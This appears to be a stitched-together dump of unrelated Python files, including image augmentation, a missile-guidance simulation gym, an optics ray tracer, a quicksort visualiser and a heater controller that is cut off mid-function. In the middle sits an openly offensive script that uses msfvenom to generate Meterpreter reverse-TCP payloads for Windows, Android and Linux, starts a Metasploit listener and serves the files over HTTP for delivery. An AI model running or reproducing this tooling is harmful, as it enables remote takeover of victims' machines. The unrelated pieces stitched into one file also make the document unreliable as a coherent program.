def rotate_cv(im, deg, y=False, mode=cv2.BORDER_REFLECT, interpolation=cv2.INTER_AREA):
    """ Rotates an image by deg degrees"""
    r, c, *_ = im.shape
    M = cv2.getRotationMatrix2D((c / 2, r / 2), deg, 1)
    if y:
        return cv2.warpAffine(im, M, (c, r), borderMode=cv2.BORDER_CONSTANT)
    return cv2.warpAffine(im, M, (c, r), borderMode=mode, flags=cv2.WARP_FILL_OUTLIERS + interpolation)

def random_cropXY(x, Y, r_pix=8):
    """ Returns a random crop"""
    r, c, *_ = x.shape
    c_pix = round(r_pix * c / r)
    rand_r = random.uniform(0, 1)
    rand_c = random.uniform(0, 1)
    start_r = np.floor(2 * rand_r * r_pix).astype(int)
    start_c = np.floor(2 * rand_c * c_pix).astype(int)
    xx = crop(x, start_r, start_c, r - 2 * r_pix, c - 2 * c_pix)
    YY = crop(Y, start_r, start_c, r - 2 * r_pix, c - 2 * c_pix)
    return xx, YY

def transformsXY(path, bb, transforms):
    x = cv2.imread(str(path)).astype(np.float32)
    x = cv2.cvtColor(x, cv2.COLOR_BGR2RGB) / 255
    Y = create_mask(bb, x)
    if transforms:
        rdeg = (np.random.random() - .50) * 20
        x = rotate_cv(x, rdeg)
        Y = rotate_cv(Y, rdeg, y=True)
        if np.random.random() > 0.5:
            x = np.fliplr(x).copy()
            Y = np.fliplr(Y).copy()
        x, Y = random_cropXY(x, Y)
    else:
        x, Y = center_crop(x), center_crop(Y)
    return x, mask_to_bb(Y)

def create_corner_rect(bb, color='red'):
    bb = np.array(bb, dtype=np.float32)
    return plt.Rectangle((bb[1], bb[0]), bb[3] - bb[1], bb[2] - bb[0], color=color,
                         fill=False, lw=3)

def show_corner_bb(im, bb):
    plt.imshow(im)
    plt.gca().add_patch(create_corner_rect(bb))
    plt.show()

def normalize(im):
    """Normalizes images with Imagenet stats."""
    imagenet_stats = np.array([[0.485, 0.456, 0.406], [0.229, 0.224, 0.225]])
    return (im - imagenet_stats[0]) / imagenet_stats[1]

def getData():

    train_path ='../data/Train_Images/'

    df = pd.read_csv('../data/Train.csv', usecols=['Image_ID'])

    for index, row in df.iterrows():
        row['Image_ID'] = train_path + row['Image_ID'] + '.jpg'
        row['Image_ID'] = Path(row['Image_ID'])

    df.rename(
        columns=({'Image_ID': 'filename'}),
        inplace=True,
    )

    df['width'] = pd.read_csv('../data/Train.csv', usecols=['width'])
    df['height'] = pd.read_csv('../data/Train.csv', usecols=['height'])
    df['class'] = pd.read_csv('../data/Train.csv', usecols=['class'])
    df['xmin'] = pd.read_csv('../data/Train.csv', usecols=['xmin'])
    df['ymin'] = pd.read_csv('../data/Train.csv', usecols=['ymin'])

    xmax = []
    ymax = []
    for index, row in df.iterrows():
        xmax.append(row['xmin'] + row['width'])
        ymax.append(row['ymin'] + row['height'])

    df['xmax'] = xmax
    df['ymax'] = ymax

    df_train = df
    class_dict = {'fruit_healthy': 0, 'fruit_brownspot': 1, 'fruit_woodiness': 2}
    key_list = list(class_dict.keys())
    val_list = list(class_dict.values())

    df_train['class'] = df_train['class'].apply(lambda x: class_dict[x])

    # Populating Training DF with new paths and bounding boxes
    new_paths = []
    new_bbs = []
    train_path_resized = Path('../data/Train_Images_Resized/')
    for index, row in df_train.iterrows():
        new_path, new_bb = resize_image_bb(row['filename'], train_path_resized, create_bb_array(row.values), 300)
        new_paths.append(new_path)
        new_bbs.append(new_bb)
    df_train['new_path'] = new_paths
    df_train['new_bb'] = new_bbs

    df_train = df_train.reset_index()
    X = df_train[['new_path', 'new_bb']]
    Y = df_train['class']

    return X, Y, key_list, val_list


channels = 1
sr = 22050
input_dim = 60
dtw_cost = 'cosine'
dtw_k = 1.05

patterns_rel_path = "patterns"
models_rel_path = "model"
preprocessed_rel_path = "preprocessed"
pattern_path_suffix = "_pattern"
recording_extension = ".raw"
recordings_glob = "*" + recording_extension
model_extension = ".npy"
models_glob = "*" + model_extension
active_path = 'active.txt'


import numpy as np
from missile import Missile
from target import Target, Target2D
from interpolation import Interp1d
from math import *

class MissileGym(object):

    @classmethod
    def make_simple_scenario(cls, missile_opts, target_pos, target_vel):
        """
        Классовый метод создания простого сценария движения цели, в котором происходит инициилизация
        объектов Missile и Target, начальных параметров наведения ракеты на цель.
        arguments: missile_opts {dict} -- словарь с опциями ракеты
                   target_pos {tuple/list/np.ndarray} -- положение цели
                   target_vel {tuple/np.ndarray} -- скорость цели
        returns: {cls}
        """
        trg_pos = np.array(target_pos)
        trg_vel = np.array(target_vel)
        target  = Target.get_simple_target(trg_pos, trg_vel)
        missile_vel_abs = missile_opts['vel_abs']
        missile_pos = missile_opts['init_conditions'].get('pos_0', None)
        missile = Missile.get_missile(missile_opts)
        mparams = missile.get_parameters_of_missile_to_meeting_target(target.pos, target.vel, missile_vel_abs, missile_pos)
        missile.set_init_cond(parameters_of_missile=mparams)
        return cls(missile=missile, target=target, t_max=missile_opts.get('t_max'), tau=missile_opts.get('tau', 1/30))

    @classmethod
    def make_simple_scenario_2D(cls, missile_opts, target_opts,
                             tau=0.1,
#                              ndt=10,
#                              n_step=100,
                             t_max=25,
                             fly_time_min=False,
                             postProcessing=True):
        """
        Классовый метод создания простого сценария движения цели, в котором происходит инициилизация
        объектов Missile и Target, начальных параметров наведения ракеты на цель.
        arguments: missile_opts {dict} -- словарь с опциями ракеты
                   target_pos {tuple/list/np.ndarray} -- положение цели
                   target_vel {tuple/np.ndarray} -- скорость цели
        returns: {cls}
        """
        target = Target2D.get_simple_target(target_opts,
                                         time_min=fly_time_min,
                                         postProcessing=postProcessing)
        missile_vel_abs = missile_opts['vel_abs']
        missile_pos = missile_opts['init_conditions'].get('pos_0', None)
        missile = Missile.get_missile(missile_opts)
        mparams = missile.get_parameters_of_missile_to_meeting_target(target.pos, target.vel, missile_vel_abs, missile_pos)
        missile.set_init_cond(parameters_of_missile=mparams)
        return cls(missile=missile, target=target, t_max=t_max, tau=missile_opts.get('tau', 1/10))

    def __init__(self, *args, **kwargs):
        self.point_solution = np.array([])
        self.missile = kwargs['missile']
        self.target  = kwargs['target']
        self.tau     = kwargs['tau']
        self.t_max   = kwargs['t_max']
        self._miss_state_len = self.missile.get_state().shape[0]
        self._trg_state_len = self.target.get_state().shape[0]
        self.prev_observation = self.get_current_observation()

    def reset(self):
        self.missile.reset()
        self.target.reset()
        self.prev_observation = self.get_current_observation()
        return self.get_observation()

    def get_observation(self):
        return np.concatenate([self.prev_observation, self.get_current_observation()])

    def step(self, action):
        """
        Основной метод. Сделать шаг по времени. Изменить внутреннее состояние и вернуть необходимые данные
        argument: action {float} -- управляющее действие на данном шаге
        """
        self.prev_observation = self.get_current_observation()
        mpos0, tpos0 = self.missile.pos, self.target.pos
        self.missile.step(action, self.tau)
        self.target.step(self.tau)
        obs = self.get_observation()
        mpos1, tpos1 = self.missile.pos, self.target.pos
        mvel1, tvel1 = self.missile.vel, self.target.vel
        done, info = self.get_info_about_step(mpos0, tpos0, mpos1, tpos1, tvel1, mvel1)
        return obs, done, info

    def step_with_guidance(self):
        """
        Метод, моделирующий шаг step по времени tau в зависимости от метода наведения.
        Пропорциональное сближение на активном участке и на пассивном, когда скорость ракеты больше скорости цели в 2 раза
        Метод чистой погони на пассивном участке, когда скорость ракеты менее чем в 2 раза превышает скорость цели, либо меньше её
        returns: {(np.array, bool, dict)} -- состояние окружения, флаг окончания моделирования, информация (причина, время, расстояние,...)
        """
        if self.missile.P_itr(self.missile.t) > 0:
            action_guidance = self.missile.get_action_proportional_guidance(self.target, a=1)
        else:
            action_guidance = self.missile.get_action_proportional_guidance(self.target)

        obs, done, info = self.step(action_guidance)
        return obs, done, info

    def get_info_about_step(self, mpos0, tpos0, mpos1, tpos1, tvel1, mvel1):
        """
        Метод, проверяющий условия остановки шага по времени метода step
        arguments: mpos0, tpos0 -- положение ракеты и цели на текущем шаге по времени tau
                   mpos1, tpos1 -- положение ракеты и цели на следующем шаге по времени tau
                   mvel1, tvel1 -- скорость ракеты и цели на следующем шаге по времени tau
        returns: {(bool, dict)} -- флаг окончания моделирования, информация (причина, время, расстояние,...)
        """
        info = {}
        if mpos1[1] < 0:
            info['done_reason'] = 'missile fell'
            info['t'] = self.missile.t
            info['distance_to_target'] = np.linalg.norm(mpos1 - tpos1)
            return True, info
        if self.is_hit(mpos0, tpos0, mpos1, tpos1):
            info['done_reason'] = 'target destroyed'
            info['t'] = self.missile.t
            return True, info
        if self.is_wrong_way(mpos1, mvel1, tpos1) and self.missile.P_itr(self.missile.t) == 0:
            info['done_reason'] = 'wrong way'
            info['t'] = self.missile.t
            info['distance_to_target'] = np.linalg.norm(mpos1 - tpos1)
            return True, info
        if self.missile.t > self.t_max:
            info['done_reason'] = 'a long time to fly'
            info['t'] = self.missile.t
            return True, info
        if self.missile.t > 20 and self.missile.v < 350:
            info['done_reason'] = 'velocity is small'
            info['t'] = self.missile.t
            return True, info
        return False, {'done_reason': 'unknown'}

    def is_hit(self, mpos0, tpos0, mpos1, tpos1):
        r0 = np.linalg.norm(mpos0 - tpos0)
        r1 = np.linalg.norm(mpos1 - tpos1)
        r_kill = self.missile.r_kill
        if min(r1, r0) <= r_kill:
            return True
        return MissileGym._r1(mpos0, tpos0, mpos1, tpos1, r_kill)

    def is_wrong_way(self, mpos, mvel, tpos):
        vis_n = (tpos - mpos)
        d = np.linalg.norm(vis_n)
        if d < 300:
            return False
        vis_n /= d
#         mvel1  = mvel / np.linalg.norm(mvel)
#         maxis  = self.missile.x_axis
#         maxis1 = maxis / np.linalg.norm(maxis)
        return mvel @ vis_n < -1

    @staticmethod
    def get_overload(vel0, vel1, tau):
        g = 9.80665
        vel0 = np.array(vel0)
        vel1 = np.array(vel1)
        a = (vel1 - vel0) / tau - np.array([0, -g])
        a_tau = np.dot(a, vel0/np.linalg.norm(vel0)) * vel0/np.linalg.norm(vel0)
        a_n = a - a_tau
        n_y = copysign(np.linalg.norm(a_n)/g, np.cross(vel0, a_n))
        n_x = copysign(np.linalg.norm(a_tau)/g, np.dot(a_tau, vel0))
        return np.array([n_x, n_y])

    @staticmethod
    def _r1(mpos0, tpos0, mpos1, tpos1, r_kill):
        xm0, ym0 = mpos0
        xm1, ym1 = mpos1
        xt0, yt0 = tpos0
        xt1, yt1 = tpos1

        X_1 = (xm1 - xm0) - (xt1 - xt0)
        Y_1 = (ym1 - ym0) - (yt1 - yt0)
        A = X_1**2 + Y_1**2
        B = 2 * X_1 * (xm0 + xt0) + 2 * Y_1 * (ym0 + yt0)
        C = (xm0 + xt0)**2 + (ym0 + yt0)**2

        r0 = C
        r1 = A + B + C

        r_0 = B
        r_1 = 2*A + B
        if r_0 * r_1 >= 0:
            return min(r0, r1) <= r_kill**2
        t_0 = -B / (2*A)
        r_t0 = A * t_0**2 + B * t_0 + C
        return min(r0, r1, r_t0) <= r_kill**2

    def set_state(self, state):
        """
        Метод, задающий новое состояние (state) окружения.
        arguments: state {np.ndarray} -- numpy-массив, в котором хранится вся необходимая информация для задания нового состояния
        returns: observation в новом состоянии
        """
        self.missile.set_state(state[:self._miss_state_len])
        self.target.set_state(state[self._miss_state_len:self._miss_state_len+self._trg_state_len])
        self.prev_observation[:] = state[self._miss_state_len+self._trg_state_len:]

    def get_state(self):
        mis_state = self.missile.get_state()
        trg_state = self.target.get_state()
        return np.concatenate([mis_state, trg_state, self.prev_observation])

    def get_aero_constants(self):
        """
        Метод, вычисляющий аэродинамические коэффициенты ракеты в текущем состоянии state
        returns: {dict}
        """
        mis_state = self.missile.get_state()
        return self.missile.get_aero_constants(mis_state)

    def get_etta(self, miss=None, target=None):
        """
        Метод, вычисляющий угол между осью ракеты и линией визирования
        returns: etta = -180..+180 {градусы}
        """
        miss = self.missile if miss is None else miss
        target = self.target if target is None else target
        Q = miss.Q
        vis = target.pos - miss.pos
        vis = vis / np.linalg.norm(vis)
        Q_vis = np.arctan2(vis[1], vis[0])
        angle = np.degrees(Q_vis - Q) % 360
        angle = (angle + 360) % 360
        if angle > 180:
            angle -= 360
        return angle

    def get_current_observation_raw(self):
        """
        Метод возвращает numpy-массив с наблюдаемыми ракетой данными в текущем состоянии окружения
        0 - t    - время, с 0..150
        1 - etta - угол, между осью ракеты и линией визирования, градусы, -180..+180
        2 - v    - скорость ракеты, м/с, 0..2200
        3 - Q    - угол тангажа, градусы, -180..+180
        4 - alpha
        """
        t = self.missile.t
        etta = self.get_etta()
        v = self.missile.v
        Q = np.degrees(self.missile.Q)
        alpha = self.missile.alpha
        return np.array([t, etta, v, Q, alpha])

    def get_current_observation(self):
        h = self.observation_current_raw_space_high
        l = self.observation_current_raw_space_low
        return (self.get_current_observation_raw() - l) / (h - l)

    @property
    def observation_current_raw_space_high(self):
        return np.array([self.t_max, 180.0, 2300, 180, self.missile.alpha_max])

    @property
    def observation_current_raw_space_low(self):
        return np.array([0, -180.0, 0, -180, -self.missile.alpha_max])


import os

from sys import stdout

def red():
    RED = "\033[1;31m"
    stdout.write(RED)

def green():
    GREEN = "\033[0;32m"
    stdout.write(GREEN)

def blue():
    BLUE = "\033[1;34m"
    stdout.write(BLUE)

def yellow():
    YELLOW = "\033[1;33m"
    stdout.write(YELLOW)

def purple():
    PURPLE = "\033[1;35m"
    stdout.write(PURPLE)

def white():
    WHITE = "\033[1;37m"
    stdout.write(WHITE)

def main():
	green()
	ip = input("[*] Atacker Ip -->> ")
	print("")
	port = input("[*] Listener Port -->> ")
	print("")
	payload = input("[*] Payload: android/linux/windows -->> ")
	print("")
	name = input("[*] File Name without .exe/.elf... -->> ")
	print("")
	yellow()
	print("[+] Ip       -->> "+ip+"")
	print("[+] Port     -->> "+port+"")
	print("[+] Payload  -->> "+payload+"")
	print("[+] FileName -->> "+name+"")

	if payload == "windows":
		red()
		print("")
		print("[+] Creating payload ...")
		blue()
		os.system("msfvenom -p windows/meterpreter/reverse_tcp LHOST="+ip+" LPORT="+port+" -f exe >> "+name+".exe 2>/dev/null")
		print("")
		print("[+] Payload saved on "+name+".exe")

		green()
		listen = input("\n[X] Do you want to start the listener? y/n -->> ")

		if listen == "y":
			os.system("rm windows.rb 2>/dev/null")
			os.system("echo 'use exploit/multi/handler' >> windows.rb")
			os.system("echo 'set LHOST "+ip+"' >> windows.rb")
			os.system("echo 'set LPORT "+port+"' >> windows.rb")
			os.system("echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> windows.rb")
			os.system("echo 'exploit' >> windows.rb")
			os.system("gnome-terminal -- msfconsole -r windows.rb &")

			red()
			http = input("[X] Do you want to create a http server with python3? y/n -->> ")

			if http == "y":
				purple()
				httpPort = input("\n[X] Http port -->> ")
				os.system("gnome-terminal -- python3 -m http.server "+httpPort+" ")

	if payload == "android":
		red()
		print("")
		print("[+] Creating payload ...")
		os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST="+ip+" LPORT="+port+" AndroidMeterpreterDebug=true AndroidWakelock=true  -o  "+name+".apk 2>/dev/null")
		blue()
		print("")
		print("[+] Saved on "+name+".apk")

		green()
		listen = input("\n[X] Do you want to start the listener? y/n -->> ")

		if listen == "y":
			os.system("rm android.rb 2>/dev/null")
			os.system("echo 'use exploit/multi/handler' >> android.rb")
			os.system("echo 'set LHOST "+ip+"' >> android.rb")
			os.system("echo 'set LPORT "+port+"' >> android.rb")
			os.system("echo 'set PAYLOAD android/meterpreter/reverse_tcp' >> android.rb")
			os.system("echo 'run' >> android.rb")
			os.system("gnome-terminal -- msfconsole -r android.rb &")

			red()
			http = input("[X] Do you want to create a http server with python3? y/n -->> ")

			if http == "y":
				purple()
				httpPort = input("\n[X] Http port -->> ")
				os.system("gnome-terminal -- python3 -m http.server "+httpPort+" ")

	if payload == "linux":
		red()
		print("")
		print("[+] Creating payload ...")
		os.system("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="+ip+" LPORT="+port+" -f elf >> "+name+".elf 2>/dev/null")
		blue()
		print("")
		print("[+] Saved on "+name+".apk")

		green()
		listen = input("\n[X] Do you want to start the listener? y/n -->> ")

		if listen == "y":
			os.system("rm linux.rb 2>/dev/null")
			os.system("echo 'use exploit/multi/handler' >> linux.rb")
			os.system("echo 'set LHOST "+ip+"' >> linux.rb")
			os.system("echo 'set LPORT "+port+"' >> linux.rb")
			os.system("echo 'set PAYLOAD linux/x86/meterpreter/reverse_tcp' >> linux.rb")
			os.system("echo 'run' >> linux.rb")
			os.system("gnome-terminal -- msfconsole -r linux.rb &")

			red()
			http = input("[X] Do you want to create a http server with python3? y/n -->> ")

			if http == "y":
				purple()
				httpPort = input("\n[X] Http port -->> ")
				os.system("gnome-terminal -- python3 -m http.server "+httpPort+" ")

if __name__ == '__main__':
	main()


import os

"""
Goes through each folder and replaces the google code with my code
"""

thePath = []

def pushPath(path):
	thePath.append(path)

def popPath():
	thePath.pop()

def replaceAllHtml(root):
	try:
		os.chdir('./'+ root)
		for file in os.listdir('./'):
			if '.html' in file:
				replaceTheCode(file)
			else:
				replaceAllHtml(file)
		os.chdir('../')
	except OSError:
		pass

def replaceTheCode(file):
	inFile = open(file, 'r')
	theFile = inFile.read()
	inFile.close()
	firstHalf = theFile[0:theFile.index("'UA")]
	secondHalf = theFile[theFile.index("'UA")+15:len(theFile)]
	wholeFile = firstHalf + "'UA-25914862-1'" + secondHalf
	outFile = open(file, 'w')
	outFile.write(wholeFile)
	outFile.close()

replaceAllHtml('pages')


'''
Created on Jul 19, 2011

@author: rtaylor
'''
from segment import Segment
from shell import Shell
from circle import Circle
from mymath import reflect,calcShellAngle
from math import tan,atan
from numpy.linalg import norm

class Module:
    '''
    A complete foxsi module. By default, it consists of seven nested shells.
    '''

    def __init__(self,
                 base = [0,0,0],
                 seglen = 30.0,
                 focal = 200.0,
                 radii = [5.151,4.9,4.659,4.429,4.21,4.0,3.799],
                 angles = None
                 ):
        '''
        Constructor

        Parameters:
            base:    the center point of the wide end of the segment
            seglen:  the axial length of each segment
            focal:   the focal length, measured from the center of the module
            radii:   a list of radii, one for each shell from biggest to smallest
            angles:  optional parameter to overwrite the shell angles computed by constructor
        '''
        if angles is None:
            angles = calcShellAngle(radii,focal)
        elif len(radii) != len(angles):
            raise ValueError('number of radii and number of angles do not match')

        self.shells = []
        for i,r in enumerate(radii):
            self.shells.append(Shell(base=base, seglen=seglen, ang=angles[i], r=r))

        # inner core (blocks rays going through center of module)
        r0 = self.shells[-1].back.r0
        r1 = r0 - seglen * tan(4*angles[-1])
        ang = atan((r0-r1)/(2*seglen))
        self.core = Segment(base=base, seglen=2*seglen, ang=ang, r0=r0)
        self.coreFaces = [Circle(center=base,normal=[0,0,1],radius=r0),
                          Circle(center=[base[0],base[1],base[2]+2*seglen],normal=[0,0,-1],radius=r1)]

    def getDims(self):
        '''
        Returns the module's dimensions:
        [radius at wide end, radius at small end, length]
        '''
        front = self.shells[0].front
        back = self.shells[0].back
        return [front.r0, back.r1, front.seglen+back.seglen]

    def getSurfaces(self):
        '''
        Returns a list of surfaces
        '''
        surfaces = []
        for shell in self.shells:
            surfaces.extend(shell.getSurfaces())
        surfaces.append(self.core)
        surfaces.extend(self.coreFaces)
        return(surfaces)

    def passRays(self, rays, robust = False):
        '''
        Takes an array of rays and passes them through the front end of
        the module.
        '''
        #print 'Module: passing ',len(rays),' rays'

        # get all module surfaces
        allSurfaces = self.getSurfaces()
        allSurfaces.remove(self.coreFaces[0]) # we'll test these seperately
        allSurfaces.remove(self.coreFaces[1])

        # create regions consisting of adjacent shells
        regions = [None for shell in self.shells]
        for i,shell in enumerate(self.shells):
            # innermost shell
            if i == len(self.shells)-1:
                regions[i] = shell.getSurfaces()
                regions[i].append(self.core)
            else:
                regions[i] = shell.getSurfaces() # outer shell (reflective side facing region)
                regions[i].extend(self.shells[i+1].getSurfaces()) # nested shell (non reflective)

        for ray in rays:

            # skip rays that hit a core face
            if ray.pos[2] < self.coreFaces[0].center[2]:
                sol = self.coreFaces[0].rayIntersect(ray)
                if sol is not None:
                    ray.pos = ray.getPoint(sol[2])
                    ray.bounces += 1
                    ray.dead = True
                    continue
                else: ray.moveToZ(self.coreFaces[0].center[2])
            elif ray.pos[2] > self.coreFaces[1].center[2]:
                sol = self.coreFaces[1].rayIntersect(ray)
                if sol is not None:
                    ray.pos = ray.getPoint(sol[2])
                    ray.bounces += 1
                    ray.dead = True
                    continue
                else: ray.moveToZ(self.coreFaces[1].center[2])

            # reset surfaces
            surfaces = [s for s in allSurfaces]
            firstBounce = True # used for optimization

            # while ray is inside module
            while True:

                # find nearest ray intersection
                bestDist = None
                bestSol = None
                bestSurf = None
                for surface in surfaces:

                    sol = surface.rayIntersect(ray)
                    if sol is not None:
                        dist = norm(ray.getPoint(sol[2])-ray.pos)
                        if bestDist is None or dist < bestDist:
                            bestDist = dist
                            bestSol = sol
                            bestSurf = surface

                # if a closest intersection was found
                if bestSol is not None:

                    # update ray
                    ray.pos = ray.getPoint(bestSol[2])
                    ray.bounces += 1
                    x = reflect(ray.ori,bestSurf.getNormal(bestSol[0],bestSol[1]))
                    # if reflected
                    if x is not None:
                        ray.ori = x / norm(x) # update ori to unit vector reflection
                    # otherwise, no reflection means ray is dead
                    else:
                        ray.dead = True
                        break

                    # knowing the surface it has just hit, we can
                    # narrow down the number of surface to test

                    # remove shells the ray cannot even 'see'
                    if firstBounce:
                        firstBounce = False
                        for region in regions:
                            if bestSurf is region[0] or bestSurf is region[1]:
                                surfaces = [s for s in region]
                                break

                    # assuming each segment can be hit no more than once
                    # eliminate the surface from our list
                    if not robust: surfaces.remove(bestSurf)

                # if no intersection, ray can exit module
                else: break

    def plot2D(self, axes, color = 'b'):
        '''
        Plots a 2d cross section of the module
        '''
        for shell in self.shells:
            shell.plot2D(axes, color)

        # plot core
        self.core.plot2D(axes, color)
        base = self.core.base
        r0 = self.core.r0
        r1 = self.core.r1
        seglen = self.core.seglen
        axes.plot((base[2],base[2]),(r0,-r0),'-'+color)
        axes.plot((base[2]+seglen,base[2]+seglen),(r1,-r1),'-'+color)

    def plot3D(self, axes, color = 'b'):
        '''
        Generates a 3d plot of the module in the given figure
        '''
        for shell in self.shells:
            shell.plot3D(axes,color)

    def targetFront(self,a,b):
        '''
        Takes two list arguments of equal size, the elements of which range from 0 to 1.
        Returns an array of points that exist on the circle defined by the wide end of
        the module.
        '''
        #must modify 'a' so that we dont return points from the core
        r0 = self.shells[0].front.r0
        r1 = self.core.r0
        a0 = (r1/r0)**2 # the 'a' value that gives r1=sqrt(a)*r0
        adiff = 1 - a0
        for i in range(len(a)):
            a[i] = a[i]*adiff + a0
        return self.shells[0].targetFront(a,b)

    def targetBack(self,a,b):
        '''
        Takes two list arguments of equal size, the elements of which range from 0 to 1.
        Returns an array of points that exist on the circle defined by the small end of
        the module.
        '''
        #must modify 'a' so that we dont return points from the core
        r0 = self.shells[0].back.r1
        r1 = self.core.r1
        a0 = (r1/r0)**2 # the 'a' value that gives r1=sqrt(a)*r0
        adiff = 1 - a0
        for i in range(len(a)):
            a[i] = a[i]*adiff + a0
        return self.shells[0].targetBack(a,b)


#quicksort

from random import shuffle
import pygame, time
from math import ceil
from random import shuffle
import pygame, time
sizex = 1800
sizey = 1200
surface = pygame.display.set_mode((sizex,sizey))
colour = [255, 5, 5]
black = (0,0,0)
red = (255, 5, 5)
black = (0,0,0)
green = (0, 255, 5)
blue = (5, 5, 255)

n = 1200
nums = [x for x in range(1, n+1)]
shuffle(nums)

delay = 0.00001

def draw_shapes(nums, position, colour): #draw the list
    pygame.draw.rect(surface, black, pygame.Rect(ceil(position*(sizex/n)), 0, ceil(len(nums)*sizex/n), sizey))
    pygame.display.update()
    for i in range(len(nums)):
        time.sleep(delay)
        pygame.draw.rect(surface, colour, pygame.Rect(ceil(position*(sizex/n)) + ceil(i*(sizex/n)), sizey-ceil((nums[i])*(sizey/n)), ceil(sizex/n), ceil((nums[i])*(sizey/n))))
        pygame.display.update(ceil(position*(sizex/n)) + ceil(i*(sizex/n)), sizey-ceil((nums[i])*(sizey/n)), ceil(sizex/n), ceil((nums[i])*(sizey/n)))

def quick_sort(nums, pos):
    time.sleep(delay)
    draw_shapes(nums, pos, red)
    if len(nums) == 0:
        draw_shapes(nums, pos, blue)
        return nums

    #pivot
    pivot = nums[-1]
    l = []
    r = []

    for num in nums[:-1]:
        if num <= pivot:
            l.append(num)
        if num > pivot:
            r.append(num)

    l = quick_sort(l, pos)
    r = quick_sort(r, pos+len(l))
    #reasembly

    nums = [l, [pivot], r]
    nums = [item for elem in nums for item in elem]
    draw_shapes(nums, pos, red)
    return nums
draw_shapes(nums, 0, red)
nums = quick_sort(nums, 0,)
for i in range(len(nums)):
        time.sleep(delay/2)
        pygame.draw.rect(surface, green, pygame.Rect(ceil((sizex/n)) + ceil(i*(sizex/n)), sizey-ceil((nums[i])*(sizey/n)), ceil(sizex/n), ceil((nums[i])*(sizey/n))))
        pygame.display.update(ceil((sizex/n)) + ceil(i*(sizex/n)), sizey-ceil((nums[i])*(sizey/n)), ceil(sizex/n), ceil((nums[i])*(sizey/n)))

running = True
while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False


#!/usr/bin/env python3
import asyncio
import atexit
import json
import socket

from collections import deque
from datetime import datetime
from logging import getLogger, INFO, StreamHandler, FileHandler
from time import sleep
from subprocess import run
from os import path

from simple_pid import PID

from tinkerforge.ip_connection import IPConnection
from tinkerforge.ip_connection import Error as TFConnectionError
from tinkerforge.bricklet_lcd_128x64 import BrickletLCD128x64
from tinkerforge.bricklet_thermocouple_v2 import BrickletThermocoupleV2
from tinkerforge.bricklet_solid_state_relay_v2 import BrickletSolidStateRelayV2

def last_n_values(n, iterable):
    for i in range(n, 0, -1):
        yield iterable[-i]

LOGGER = getLogger(__name__)
LOGGER.setLevel(INFO)
STDOUT_HANDLER = StreamHandler()
LOGGER.addHandler(STDOUT_HANDLER)

DATETIME_FMT = "%d/%m/%Y %H:%M:%S"

PID_TUNING_FILE_PATH = "tuning.json"

HOST = "localhost"
PORT = 4223

THERMOCOUPLE_READ_PERIOD = 1000
GUI_READ_PERIOD = 100
PWM_PERIOD = 1000
N_SMOOTHING_POINTS = 5

# fmt: off
CONTROL_ICON = [
    0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,
    0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,
]

GRAPH_ICON = [
    1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,
    1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,
    1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,
    1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
]

SETTINGS_ICON = [
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
]
# fmt: on

class Heater:

    # These are the bricklet objects which are populated
    # as the hardware responds to enumeration request.
    ipcon = None
    lcd = None
    thermocouple = None
    relay = None
    pid = None

    # Current PID setpoint
    setpoint = 0

    # PWM power for output. 0 - 100
    heater_power = 0

    # Current state of output. Boolean
    heater_active = False

    # Current state of thermocouple.
    # False if bricklet reports an error state.
    thermocouple_active = True

    # Current active GUI tab index
    active_tab = 0

    # Number of readings to keep in state. This is set to match graph width
    n_temp_points = 107

    starting_temp = 20
    initial_temp_data = [starting_temp] * N_SMOOTHING_POINTS
    temp_data = deque(initial_temp_data, n_temp_points)

    # Min and max for graph Y axis. Updated automatically with data
    axis_min = starting_temp - 10
    axis_max = starting_temp + 10

    # Set true to read tuning parameters every iteration
    tuning_mode = False

    # Set true to log data to a file
    logging_mode = False

    # Current target tunings
    tunings = {"p": 0, "i": 0, "d": 0, "bias": 0, "proportional_on_measurement": False}

    def __init__(self):
        LOGGER.info("Heater starting...")

        self._init_pid()

        self.ipcon = IPConnection()
        while True:
            try:
                self.ipcon.connect(HOST, PORT)
                break
            except TFConnectionError as error:
                LOGGER.error("Connection Error: " + str(error.description))
                sleep(1)
            except socket.error as error:
                LOGGER.error("Socket Error: " + str(error))
                sleep(1)

        self.ipcon.register_callback(IPConnection.CALLBACK_ENUMERATE, self.cb_enumerate)
        self.ipcon.register_callback(IPConnection.CALLBACK_CONNECTED, self.cb_connected)

        if self.logging_mode:
            logfile_path = f"{datetime.now().timestamp():0f}_heated_data.csv"
